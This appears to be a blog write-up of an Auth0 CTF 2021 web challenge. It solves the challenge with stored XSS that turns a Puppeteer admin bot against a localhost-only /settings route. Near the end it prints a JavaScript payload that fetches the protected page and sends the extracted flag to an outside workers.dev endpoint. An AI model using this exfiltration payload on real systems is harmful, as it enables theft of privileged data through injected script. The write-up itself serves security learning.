Background
This web challenge was hosted on Auth0 CTF 2021. Read more about it here. This challenge was tagged for 625 points with a 2 star rating. I would categorise the difficulty level as Beginner-Intermediate. Download the challenge file from this link. The zip file extracks to a challenge folder with docker config. To setup the docker container in local, simply run the build-docker.sh
file and you should be good to go.
The following is a write-up for the aforementioned challenge, give it a shot yourself before reading ahead.
Table Of Contents
A quick overview of the application would be that it is a dynamic website that lets you submit a support ticket via an input form. There are other routes as well but it cant be accessed normally with the browser. Like you guessed, the flag is buried in one of the protected routes.
Recon
First I started browsing through the source code to understand what all technologies are used.
- Express App (JS) : The app uses ExpressJS for the backend.
- Nunjucks: The most commonly used templating library is Nunjucks. Once I saw this maybe there is some injection possible somewhere.
- SQL DB: Alright, the database was on SQL. I got excited to see this one as I'm a big fan of SQLi scripting. sqli
- Puppeteer: There was also Puppeteer. I've barely used it, so I just had in the back of my head. Not sure what would be possible with it.
This was all I got from a bird's eye view. This is usually the first thing I do. Next is to understand what the app does, like really trying to understand what operations it is performing under the hood.
After browsing through the files. Of all the routes, the only 3 that mattered are the following:
settings
/tickets
/api/submit_ticket
Out of these, only the 3rd route is accessible via the browser. The first two routes are guarded by a condition that allows traffic originated only within the network i.e. from localhost.
if(req.ip != '127.0.0.1') return res.redirect('/');
So whenever I try to goto any of the endpoints from the browser, it simply redirects to the landing page.
Coming to the most important part, the flag was present inside settings.html that could only be accessed via the settings route. Let us explore how we could retrieve the flag.
Initial thought process
- location of the flag
- in order to get to the flag, we gotta expose settings.html
- and that is blocked only from 127.0.0.1
Since the flag was hid behind the /settings
endpoint, it can only be accessed within the network. If we somehow trick the server into thinking that the request originated within the network, it must lead us to settings.html.
My initial thought process was to simply try spoofing the request, make the server believe that the request is in fact originated from localhost. So I tried googling how to do that and found the X-Forwarded-For
header. Basically I was trying to understand how node identifies the request IP, so I thought I could send a payload there. This post helped me send a curl request with the above header set to 127.0.0.1
. Unfortunately, that didnt work.
After trying to set other header's, I realised that the request cannot be spoofed. It has to be legit!
Exploring Puppeteer
The only piece I had'nt explored was Pupeeteer which in fact visited the /tickets
route right after a ticket is submitted. If you're hearing about Puppeteer for the first time, read their website. In simple terms, its a bot that mimics how a user interacts with websites.
Exploring its code...
router.post('/api/submit_ticket', async (req, res) => {
const { name, email, website, message } = req.body;
if(name && email && website && message){
return db.addTicket(name, email, website, message)
.then(() => {
bot.purgeData(db);
res.send(response('Ticket submitted successfully! An admin will review the ticket shortly!'));
});
}
return res.status(403).send(response('Please fill out all the fields first!'));
});
This was actually fishy cause, the purgeData function is being called right after a ticket is submitted. So what essentially happens is the bot visits the page and then it simply clears the db. Its strange, but yeah thats what it does.
Now I was wondering, can I trick Puppeteer to visit the /settings
route that contains the flag somehow? So I began exploring the bot code and routes. No SQLI was possible, it was cleverly filtered. So thats out of the equation. Even template injection wouldnt work.
After some exploration, I noticed the ticket from db is fetched and rendered on the tickets HTML DOM. Suddenly it hit me, would a simple XSS work? cause its just rendering the field from the db without sanitizing it. But the big question is how would I know if it worked? I ain't visiting the site, Puppeteer does.
Lots of problems to be solved here...
To test my theory, I had to make Pupetter call my external API endpoint by sending a JS payload.
A few seconds after I hit submit, I saw a GET request being made to this endpoint in the logs . My theory works, Tada πππ
Building the solution
Now that I know Puppeteer can send data outside, all I had to do was write a JS script that grabs the flag from /settings
route and sends it to my Cloudflare API.
This solution would work cause it is in fact Pupetter which is running locally(request IP is 127.0.0.1) that visits the /settings
endpoint, not me!!!
So here comes the easy part
fetch("http://127.0.0.1:1337/settings")
.then(response => {
return response.text()
})
.then(html => {
var exp=html.substring(html.lastIndexOf("HTB{"))
fetch('https://curly-art-0176.designrknight.workers.dev/a='+exp)
})
The simplest JS script to visit settings page, grab the flag and send back in the GET param. This could probably be the smallest backdoor script that I've ever written xD.
As soon as I hit submit, I got a hit on the logs. The param had the flag. And yes it was the right one!
Summary
The website is XSS susceptible. So write a fetch request that visits settings route, grabs the flag and then posts it back to an external endpoint. This worked because pupetter didnt block external network connetions. These two are the major vulnerabilities here.
Follow me on twitter.com/HarishTeens
I would like to thank Auth0 for hosting the CTF β¨. Special thanks to @DesignrKnight | Partner in crime.
Top comments (1)
It was one hell of a learning journey